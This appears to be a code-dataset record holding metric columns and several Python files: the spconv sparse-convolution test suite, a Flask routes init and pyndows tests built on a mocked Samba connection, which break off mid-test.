| 0.862427
| 0.862427
| 0.858236
| 0
| 0.387781
| 0.015277
| 13,746
| 168
| 114
| 81.821429
| 0.423094
| 0.014259
| 0
| 0
| 1
| 0.981366
| 0.945076
| 0.944781
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.012422
| 0
| 0.012422
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 15
|
d3fc87db05258cbcb41de9b118c638706e5ecbe0
| 31,175
|
py
|
Python
|
spconv/test/test_conv.py
|
hankeceli/3D-Object-Detection-for-AV
|
b6c17a4a3ecc9c32418baafa5b82cfd4704ed880
|
[
"Apache-2.0"
] | null | null | null |
spconv/test/test_conv.py
|
hankeceli/3D-Object-Detection-for-AV
|
b6c17a4a3ecc9c32418baafa5b82cfd4704ed880
|
[
"Apache-2.0"
] | null | null | null |
spconv/test/test_conv.py
|
hankeceli/3D-Object-Detection-for-AV
|
b6c17a4a3ecc9c32418baafa5b82cfd4704ed880
|
[
"Apache-2.0"
] | null | null | null |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import time
import unittest
from pathlib import Path
import numpy as np
import torch
from torch import nn
import spconv
from spconv.test_utils import TestCase, generate_sparse_data, params_grid
# import sparseconvnet as scn
class SparseConv3dTestTorch(nn.Module):
def __init__(self,
num_layers,
ndim,
shape,
in_channels,
out_channels,
kernel_size,
stride,
padding,
dilation,
algo=spconv.ConvAlgo.Native):
super().__init__()
layers = [
spconv.SparseConv3d(in_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False,
use_hash=False,
algo=algo)
]
for i in range(1, num_layers):
layers.append(
spconv.SparseConv3d(out_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False,
use_hash=False,
algo=algo))
self.net = spconv.SparseSequential(*layers, )
# self.grid = torch.full([3, *shape], -1, dtype=torch.int32).cuda()
self.grid = None
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size,
self.grid)
return self.net(x) # .dense()
class SubMConv3dTestTorch(nn.Module):
def __init__(self,
num_layers,
ndim,
shape,
in_channels,
out_channels,
kernel_size,
stride,
padding,
dilation,
algo=spconv.ConvAlgo.Native):
super().__init__()
layers = [
spconv.SubMConv3d(in_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False,
algo=algo)
]
for i in range(1, num_layers):
layers.append(
spconv.SubMConv3d(out_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False,
algo=algo))
self.net = spconv.SparseSequential(*layers, )
# self.grid = torch.full([3, *shape], -1, dtype=torch.int32).cuda()
self.grid = None
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int() # .cpu()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size,
self.grid)
return self.net(x) # .dense()
class Conv3dTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride, padding, dilation):
super().__init__()
layers = [
nn.Conv3d(in_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False)
]
for i in range(1, num_layers):
layers.append(
nn.Conv3d(out_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False))
self.net = nn.Sequential(*layers, )
self.shape = shape
def forward(self, x):
return self.net(x) # .dense()
class SparseDeConv3dTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride, padding, dilation):
super().__init__()
layers = [
spconv.SparseConvTranspose3d(in_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False)
]
for i in range(1, num_layers):
layers.append(
spconv.SparseConvTranspose3d(out_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False))
self.net = spconv.SparseSequential(*layers, )
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size)
return self.net(x) # .dense()
class DeConv3dTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride, padding, dilation):
super().__init__()
layers = [
nn.ConvTranspose3d(in_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False)
]
for i in range(1, num_layers):
layers.append(
nn.ConvTranspose3d(out_channels,
out_channels,
kernel_size,
stride,
padding=padding,
dilation=dilation,
bias=False))
self.net = nn.Sequential(*layers, )
self.shape = shape
def forward(self, x):
return self.net(x) # .dense()
class SparseMaxPoolTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, kernel_size, stride, padding,
dilation):
super().__init__()
layers = [
spconv.SparseMaxPool3d(kernel_size, stride, padding, dilation)
]
for i in range(1, num_layers):
layers.append(
spconv.SparseMaxPool3d(kernel_size, stride, padding, dilation))
self.net = spconv.SparseSequential(*layers, )
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size)
return self.net(x) # .dense()
class MaxPool3dTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, kernel_size, stride, padding,
dilation):
super().__init__()
layers = [nn.MaxPool3d(kernel_size, stride, padding, dilation)]
for i in range(1, num_layers):
layers.append(nn.MaxPool3d(kernel_size, stride, padding, dilation))
self.net = nn.Sequential(*layers, )
self.shape = shape
def forward(self, x):
return self.net(x) # .dense()
class SubmanifoldConvTestTorch(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride):
super().__init__()
layers = [
spconv.SubMConv3d(in_channels,
out_channels,
kernel_size,
bias=False,
indice_key="subm0")
]
for i in range(1, num_layers):
layers.append(
spconv.SubMConv3d(out_channels,
out_channels,
kernel_size,
bias=False))
self.net = nn.Sequential(*layers, )
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size)
return self.net(x)
class SCNCoupleDeConvTest(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride):
super().__init__()
self.scn_input = scn.InputLayer(ndim, shape, mode=0)
self.net = nn.Sequential(
scn.Convolution(ndim,
in_channels,
out_channels,
kernel_size,
stride,
bias=False),
scn.Deconvolution(ndim,
out_channels,
in_channels,
kernel_size,
stride,
bias=False),
scn.SparseToDense(ndim, in_channels),
)
def forward(self, features, coors, batch_size):
coors = coors.long().cpu()
x = self.scn_input((coors, features))
return self.net(x)
class SparseCoupleDeConvTest(nn.Module):
def __init__(self, num_layers, ndim, shape, in_channels, out_channels,
kernel_size, stride):
super().__init__()
self.net = spconv.SparseSequential(
spconv.SparseConv3d(in_channels,
out_channels,
kernel_size,
stride,
indice_key="cp0",
bias=False),
spconv.SparseInverseConv3d(out_channels,
in_channels,
kernel_size,
indice_key="cp0",
bias=False),
)
self.todense = spconv.ToDense()
self.shape = shape
def forward(self, features, coors, batch_size):
coors = coors.int()
x = spconv.SparseConvTensor(features, coors, self.shape, batch_size)
return self.todense(self.net(x)) # .dense()
def gather_nd(params, indices):
# this function has a limit that MAX_ADVINDEX_CALC_DIMS=5
ndim = indices.shape[-1]
output_shape = list(indices.shape[:-1]) + list(
params.shape[indices.shape[-1]:])
flatted_indices = indices.view(-1, ndim)
slices = [flatted_indices[:, i] for i in range(ndim)]
slices += [Ellipsis]
return params[slices].view(*output_shape)
def scatter_nd(indices, updates, shape):
"""pytorch edition of tensorflow scatter_nd.
this function don't contain except handle code. so use this carefully
when indice repeats, don't support repeat add which is supported
in tensorflow.
"""
ret = torch.zeros(*shape, dtype=updates.dtype, device=updates.device)
ndim = indices.shape[-1]
output_shape = list(indices.shape[:-1]) + shape[indices.shape[-1]:]
flatted_indices = indices.view(-1, ndim)
slices = [flatted_indices[:, i] for i in range(ndim)]
slices += [Ellipsis]
ret[slices] = updates.view(*output_shape)
return ret
class TestSpConv(TestCase):
def testSpConv3d(self):
np.random.seed(484)
devices = ["cpu:0"]
shapes = [[19, 18, 17]]
batchsizes = [1, 2]
in_channels = [64]
out_channels = [32, 48, 64]
ksizes = [2, 3]
strides = [1, 2, 3]
paddings = [0, 1, 2]
dilations = [1, 2, 3]
for dev, shape, bs, IC, OC, k, s, p, d in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides, paddings, dilations):
if all([s > 1, d > 1]):
continue # don't support this.
device = torch.device(dev)
num_points = [1000] * bs
sparse_dict = generate_sparse_data(shape, num_points, IC)
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
filters = np.random.uniform(0, 1, size=[k, k, k, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device)
features_t = torch.from_numpy(features).to(device)
features_t.requires_grad = True
features_dense_t = torch.from_numpy(features_dense).to(device)
features_dense_t.requires_grad = True
net = SparseConv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device)
net_ref = Conv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device)
filters_t = torch.from_numpy(filters).to(device)
net_ref.net[0].weight.data[:] = filters_t.permute(4, 3, 0, 1,
2).contiguous()
net.net[0].weight.data[:] = filters_t
out_ref = net_ref(features_dense_t)
out = net(features_t, indices_t, bs).dense()
dout = np.random.uniform(-0.2, 0.2,
out_ref.shape).astype(features.dtype)
dout_t = torch.from_numpy(dout).to(device)
out.backward(dout_t)
out_ref.backward(dout_t)
din_dense = features_dense_t.grad.detach().permute(0, 2, 3, 4,
1).contiguous()
din_sparse = gather_nd(din_dense, indices_t.long())
din = features_t.grad.detach()
din_np = din.cpu().numpy()
din_sparse_np = din_sparse.cpu().numpy()
self.assertAllClose(din_np, din_sparse_np, atol=1e-4)
for layer, layer_ref in zip(net.net, net_ref.net):
dw = layer.weight.grad.detach().cpu().numpy()
dw_ref = layer_ref.weight.grad.detach().cpu().numpy()
dw = dw.transpose(4, 3, 0, 1, 2)
self.assertAllClose(dw, dw_ref, atol=1e-4)
out_np = out.detach().cpu().numpy()
out_ref_np = out_ref.detach().cpu().numpy()
self.assertAllClose(out_np, out_ref_np, atol=1e-4)
def testSpDeConv3d(self):
np.random.seed(484)
devices = ["cuda:0"]
shapes = [[19, 18, 17]]
batchsizes = [1, 2]
in_channels = [64]
out_channels = [32, 48, 64]
ksizes = [2, 3]
strides = [2, 3]
paddings = [0, 1, 2]
dilations = [1, 2, 3]
for dev, shape, bs, IC, OC, k, s, p, d in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides, paddings, dilations):
if all([s > 1, d > 1]):
continue # don't support this.
device = torch.device(dev)
num_points = [1000] * bs
sparse_dict = generate_sparse_data(shape, num_points, IC)
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
filters = np.random.uniform(0, 1, size=[k, k, k, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device)
features_t = torch.from_numpy(features).to(device)
features_t.requires_grad = True
features_dense_t = torch.from_numpy(features_dense).to(device)
features_dense_t.requires_grad = True
net = SparseDeConv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device)
net_ref = DeConv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device)
filters_t = torch.from_numpy(filters).to(device)
net_ref.net[0].weight.data[:] = filters_t.permute(3, 4, 0, 1,
2).contiguous()
net.net[0].weight.data[:] = filters_t
out_ref = net_ref(features_dense_t)
out = net(features_t, indices_t, bs).dense()
dout = np.random.uniform(-0.2, 0.2,
out_ref.shape).astype(features.dtype)
dout_t = torch.from_numpy(dout).to(device)
out.backward(dout_t)
out_ref.backward(dout_t)
din_dense = features_dense_t.grad.detach().permute(0, 2, 3, 4,
1).contiguous()
din_sparse = gather_nd(din_dense, indices_t.long())
din = features_t.grad.detach()
din_np = din.cpu().numpy()
din_sparse_np = din_sparse.cpu().numpy()
self.assertAllClose(din_np, din_sparse_np, atol=1e-4)
for layer, layer_ref in zip(net.net, net_ref.net):
dw = layer.weight.grad.detach().cpu().numpy()
dw_ref = layer_ref.weight.grad.detach().cpu().numpy()
dw = dw.transpose(3, 4, 0, 1, 2)
self.assertAllClose(dw, dw_ref, atol=1e-4)
out_np = out.detach().cpu().numpy()
out_ref_np = out_ref.detach().cpu().numpy()
self.assertAllClose(out_np, out_ref_np, atol=1e-4)
def testSpCpConv3d(self):
np.random.seed(484)
devices = ["cuda:0", "cpu:0"]
shapes = [[20, 20, 20]]
batchsizes = [1, 2]
in_channels = [64]
out_channels = [32, 48, 64]
ksizes = [2]
strides = [2]
paddings = [0, 1, 2]
dilations = [1, 2, 3]
for dev, shape, bs, IC, OC, k, s in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides):
device = torch.device(dev)
num_points = [1000] * bs
sparse_dict = generate_sparse_data(shape, num_points, IC)
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
filters = np.random.uniform(0, 1, size=[k, k, k, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device)
indices_scn_t = torch.from_numpy(
indices[:, [1, 2, 3, 0]]).int().to(device)
features_t = torch.from_numpy(features).to(device)
features_t.requires_grad = True
features_ref_t = torch.from_numpy(features).to(device)
features_ref_t.requires_grad = True
net_ref = SCNCoupleDeConvTest(1, 3, shape, IC, OC, k, s).to(device)
net = SparseCoupleDeConvTest(1, 3, shape, IC, OC, k, s).to(device)
net_ref.net[0].weight.data[:] = net.net[0].weight.data[:].view(
*net_ref.net[0].weight.shape)
net_ref.net[1].weight.data[:] = net.net[1].weight.data[:].view(
*net_ref.net[1].weight.shape)
out_ref = net_ref(features_ref_t, indices_scn_t, bs)
out = net(features_t, indices_t, bs)
dout = np.random.uniform(-0.2, 0.2,
out_ref.shape).astype(features.dtype)
dout_t = torch.from_numpy(dout).to(device)
out.backward(dout_t)
out_ref.backward(dout_t)
din = features_t.grad.detach()
din_ref = features_ref_t.grad.detach()
din_np = din.cpu().numpy()
din_ref_np = din_ref.cpu().numpy()
self.assertAllClose(din_ref_np, din_np, atol=1e-4)
for layer, layer_ref in zip(net.net, net_ref.net):
dw = layer.weight.grad.detach().cpu().numpy()
dw_ref = layer_ref.weight.grad.detach().cpu().view(
*dw.shape).numpy()
self.assertAllClose(dw, dw_ref, atol=1e-4)
out_np = out.detach().cpu().numpy()
out_ref_np = out_ref.detach().cpu().numpy()
self.assertAllClose(out_np, out_ref_np, atol=1e-4)
def testSpMaxPool3d(self):
np.random.seed(485)
devices = ["cuda:0"]
shapes = [[19, 18, 17]]
batchsizes = [1, 2]
in_channels = [62]
out_channels = [62]
ksizes = [2, 3]
strides = [1, 2, 3]
paddings = [0, 1]
dilations = [1, 2, 3]
for dev, shape, bs, IC, OC, k, s, p, d in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides, paddings, dilations):
if all([s > 1, d > 1]):
continue # don't support this.
device = torch.device(dev)
num_points = [1000] * bs
# when data contains negative, sparse maxpool is not equal to dense maxpool.
sparse_dict = generate_sparse_data(shape,
num_points,
IC,
data_range=[0.1, 1])
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
filters = np.random.uniform(0, 1, size=[k, k, k, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device)
features_t = torch.from_numpy(features).to(device)
features_t.requires_grad = True
features_dense_t = torch.from_numpy(features_dense).to(device)
features_dense_t.requires_grad = True
net = SparseMaxPoolTestTorch(1, 3, shape, k, s, p, d).to(device)
net_ref = MaxPool3dTestTorch(1, 3, shape, k, s, p, d).to(device)
out_ref = net_ref(features_dense_t)
out = net(features_t, indices_t, bs)
outids = out.indices
outfeatures = out.features
outids_dev = outids.float()
out_dense = out.dense(channels_first=False)
out = out_dense.permute(0, 4, 1, 2, 3).contiguous()
dout_sparse = np.random.uniform(
-0.2, 0.2, outfeatures.shape).astype(features.dtype)
dout_sparse_t = torch.from_numpy(dout_sparse).to(device)
dout_t = scatter_nd(outids.long(), dout_sparse_t,
list(out_dense.shape))
dout_t = dout_t.permute(0, 4, 1, 2, 3).contiguous()
out.backward(dout_t)
out_ref.backward(dout_t)
din_dense = features_dense_t.grad.detach().permute(0, 2, 3, 4,
1).contiguous()
din_sparse = gather_nd(din_dense, indices_t.long())
din = features_t.grad.detach()
out_np = out.detach().cpu().numpy()
out_ref_np = out_ref.detach().cpu().numpy()
self.assertAllClose(out_np, out_ref_np, atol=1e-4)
din_np = din.cpu().numpy()
din_sparse_np = din_sparse.cpu().numpy()
self.assertAllClose(din_np, din_sparse_np, atol=1e-4)
def main(algo=spconv.ConvAlgo.Native, dtype=torch.float32):
# function for develop.
np.random.seed(484)
# devices = ["cuda:0"]
devices = ["cuda:0"]
shapes = [[400, 400, 15]]
batchsizes = [2]
in_channels = [32]
out_channels = [64]
ksizes = [(3, 3, 3)]
strides = [1]
paddings = [0]
dilations = [1]
for dev, shape, bs, IC, OC, k, s, p, d in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides, paddings, dilations):
if all([s > 1, d > 1]):
continue
device = torch.device(dev)
num_points = [30000] * bs
sparse_dict = generate_sparse_data(shape, num_points, IC)
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
indices_t = torch.from_numpy(indices)
filters = np.random.uniform(0, 1, size=[k[0], 1, 1, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device).to(dtype)
features_t = torch.from_numpy(features).to(device).to(dtype)
features_dense_t = torch.from_numpy(features_dense).to(device).to(
dtype)
net = SparseConv3dTestTorch(1, 3, shape, IC, OC, k, s, p, d,
algo=algo).to(device).to(dtype)
net_ref = Conv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device).to(dtype)
filters_t = torch.from_numpy(filters).to(device).to(dtype)
net_ref.net[0].weight[:] = filters_t.permute(4, 3, 0, 1,
2).contiguous()
net.net[0].weight[:] = filters_t
out_ref = net_ref(features_dense_t)
times = []
for i in range(10):
t = time.time()
out = net(features_t, indices_t, bs)
torch.cuda.synchronize()
times.append(time.time() - t)
# print((net.grid == -1).float().sum(), net.grid.numel())
# print("spconv time", time.time() - t)
print("spconv time", np.mean(times[2:]))
out = net(features_t, indices_t, bs)
# print(out.indices)
out = out.dense()
out_numpy = out.detach().cpu().numpy()
print(
np.linalg.norm(out.detach().cpu().numpy() -
out_ref.detach().cpu().numpy()))
print(out_numpy.min(), out_numpy.max(), out_numpy.mean(),
out_numpy.sum())
def main_subm(algo, dtype=torch.float32):
# function for develop.
np.random.seed(484)
torch.manual_seed(50051)
# devices = ["cuda:0"]
devices = ["cuda:0"]
shapes = [[400, 400, 15]]
batchsizes = [2]
in_channels = [32]
out_channels = [64]
ksizes = [(3, 3, 3)]
strides = [1]
paddings = [1]
dilations = [1]
for dev, shape, bs, IC, OC, k, s, p, d in params_grid(
devices, shapes, batchsizes, in_channels, out_channels, ksizes,
strides, paddings, dilations):
if all([s > 1, d > 1]):
continue
device = torch.device(dev)
num_points = [120000] * bs
sparse_dict = generate_sparse_data(shape, num_points, IC)
features = np.ascontiguousarray(sparse_dict["features"]).astype(
np.float32)
indices = np.ascontiguousarray(
sparse_dict["indices"][:, [3, 0, 1, 2]]).astype(np.int32)
features_dense = sparse_dict["features_dense"].astype(np.float32)
indices_t = torch.from_numpy(indices)
filters = np.random.uniform(0, 1, size=[k[0], 1, 1, IC,
OC]).astype(np.float32)
indices_t = torch.from_numpy(indices).int().to(device).to(dtype)
features_t = torch.from_numpy(features).to(device).to(dtype)
features_dense_t = torch.from_numpy(features_dense).to(device).to(
dtype)
net = SubMConv3dTestTorch(1, 3, shape, IC, OC, k, s, p, d,
algo=algo).to(device).to(dtype)
net_ref = Conv3dTestTorch(1, 3, shape, IC, OC, k, s, p,
d).to(device).to(dtype)
filters_t = torch.from_numpy(filters).to(device).to(dtype)
net_ref.net[0].weight[:] = filters_t.permute(4, 3, 0, 1,
2).contiguous()
net.net[0].weight[:] = filters_t
out_ref = net_ref(features_dense_t)
times = []
for i in range(20):
t = time.time()
out = net(features_t, indices_t, bs)
torch.cuda.synchronize()
times.append(time.time() - t)
# print((net.grid == -1).float().sum(), net.grid.numel())
# print("spconv time", time.time() - t)
print("spconv time", np.mean(times[10:]))
out = net(features_t, indices_t, bs)
# print(out.indices)
out = out.dense()
out_numpy = out.detach().cpu().numpy()
# print(
# np.linalg.norm(out.detach().cpu().numpy() -
# out_ref.detach().cpu().numpy()))
print(out_numpy.min(), out_numpy.max(), out_numpy.mean(),
out_numpy.sum())
return out_numpy
if __name__ == '__main__':
main_subm(algo=spconv.ConvAlgo.Native, dtype=torch.float32)
main_subm(algo=spconv.ConvAlgo.Native, dtype=torch.half)
# TestCase().assertAllClose(out_my, out_ref)
# unittest.main()
# TestSpConv().testSpConv3d()
| 41.127968
| 88
| 0.508613
| 3,411
| 31,175
| 4.468191
| 0.084433
| 0.030313
| 0.019028
| 0.028541
| 0.843777
| 0.827374
| 0.818319
| 0.797126
| 0.784266
| 0.768585
| 0
| 0.026911
| 0.380176
| 31,175
| 757
| 89
| 41.182299
| 0.761838
| 0.052927
| 0
| 0.787167
| 0
| 0
| 0.008656
| 0
| 0
| 0
| 0
| 0
| 0.017214
| 1
| 0.043818
| false
| 0
| 0.01252
| 0.004695
| 0.093897
| 0.007825
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
310f9c876af6bca1d17d579fb1017c3df3762991
| 39
|
py
|
Python
|
__init__.py
|
hy89/google_translate
|
38d87b25da23e7463258fe3c7620edfef523cfb0
|
[
"MIT"
] | null | null | null |
__init__.py
|
hy89/google_translate
|
38d87b25da23e7463258fe3c7620edfef523cfb0
|
[
"MIT"
] | null | null | null |
__init__.py
|
hy89/google_translate
|
38d87b25da23e7463258fe3c7620edfef523cfb0
|
[
"MIT"
] | null | null | null |
# @Author: hy
# @Time: 2019-11-15 10:06
| 19.5
| 25
| 0.615385
| 8
| 39
| 3
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.363636
| 0.153846
| 39
| 2
| 25
| 19.5
| 0.363636
| 0.897436
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
311fb88f542cef320e47b2234a012baccb040c8b
| 69
|
py
|
Python
|
app/routes/__init__.py
|
Rophillips/python-newsfeed
|
bc09e5cea43c6a9131262f5226a1c3ff8874aea2
|
[
"MIT"
] | null | null | null |
app/routes/__init__.py
|
Rophillips/python-newsfeed
|
bc09e5cea43c6a9131262f5226a1c3ff8874aea2
|
[
"MIT"
] | 6
|
2021-06-12T14:54:51.000Z
|
2021-06-16T14:05:45.000Z
|
app/routes/__init__.py
|
Rophillips/python-newsfeed
|
bc09e5cea43c6a9131262f5226a1c3ff8874aea2
|
[
"MIT"
] | null | null | null |
from .home import bp as home
from .dashboard import bp as dashboard
| 17.25
| 38
| 0.782609
| 12
| 69
| 4.5
| 0.5
| 0.296296
| 0.37037
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.188406
| 69
| 3
| 39
| 23
| 0.964286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3169502b387e29be59e74fbc7809ad433e8cc705
| 7,014
|
py
|
Python
|
tests/test_testing.py
|
Simon-Le/pyndows
|
0918fb21cd4babb7477b091257b89c421d2e00d6
|
[
"MIT"
] | null | null | null |
tests/test_testing.py
|
Simon-Le/pyndows
|
0918fb21cd4babb7477b091257b89c421d2e00d6
|
[
"MIT"
] | null | null | null |
tests/test_testing.py
|
Simon-Le/pyndows
|
0918fb21cd4babb7477b091257b89c421d2e00d6
|
[
"MIT"
] | null | null | null |
import os
import os.path
import tempfile
import gzip
import threading
import time
import pytest
import pyndows
from pyndows.testing import samba_mock, SMBConnectionMock
def test_remaining_files_to_retrieve_when_reset():
pyndows.testing.SMBConnectionMock.files_to_retrieve["tests"] = "Test"
with pytest.raises(Exception) as exception_info:
pyndows.testing.SMBConnectionMock.reset()
assert (
str(exception_info.value)
== "Expected files were not retrieved: {'tests': 'Test'}"
)
def test_remaining_echo_responses_when_reset():
pyndows.testing.SMBConnectionMock.echo_responses["tests"] = "Test"
with pytest.raises(Exception) as exception_info:
pyndows.testing.SMBConnectionMock.reset()
assert str(exception_info.value) == "Echo were not requested: {'tests': 'Test'}"
def test_connection_can_be_used_as_context_manager(samba_mock: SMBConnectionMock):
with pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
):
pass
def test_non_text_file_can_be_stored(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
with gzip.open(os.path.join(temp_dir, "local_file"), mode="w") as distant_file:
distant_file.write(b"Test Content Move")
pyndows.move(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file"),
)
assert (
gzip.decompress(samba_mock.stored_files[("TestShare", "TestFilePath")])
== b"Test Content Move"
)
def test_async_retrieval(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
with gzip.open(os.path.join(temp_dir, "local_file"), mode="w") as distant_file:
distant_file.write(b"Test Content Move")
def add_with_delay(delay: int):
time.sleep(delay)
pyndows.move(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file"),
)
threading.Thread(target=add_with_delay, args=(2,)).start()
assert (
gzip.decompress(
samba_mock.stored_files.try_get(
("TestShare", "TestFilePath"), timeout=3
)
)
== b"Test Content Move"
)
def test_async_retrieval_timeout(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
with gzip.open(os.path.join(temp_dir, "local_file"), mode="w") as distant_file:
distant_file.write(b"Test Content Move")
def add_with_delay(delay: int):
time.sleep(delay)
pyndows.move(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file"),
)
threading.Thread(target=add_with_delay, args=(2,)).start()
with pytest.raises(TimeoutError) as exception_info:
samba_mock.stored_files.try_get(("TestShare", "TestFilePath"))
assert (
str(exception_info.value)
== "('TestShare', 'TestFilePath') could not be found within 1 seconds."
)
def test_file_retrieval_using_path(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
with gzip.open(os.path.join(temp_dir, "local_file"), mode="w") as distant_file:
distant_file.write(b"Test Content")
samba_mock.files_to_retrieve[("TestShare", "TestFilePath")] = os.path.join(
temp_dir, "local_file"
)
pyndows.get(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file_retrieved"),
)
with gzip.open(os.path.join(temp_dir, "local_file_retrieved")) as local_file:
assert local_file.read() == b"Test Content"
def test_file_retrieval_using_str_content(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
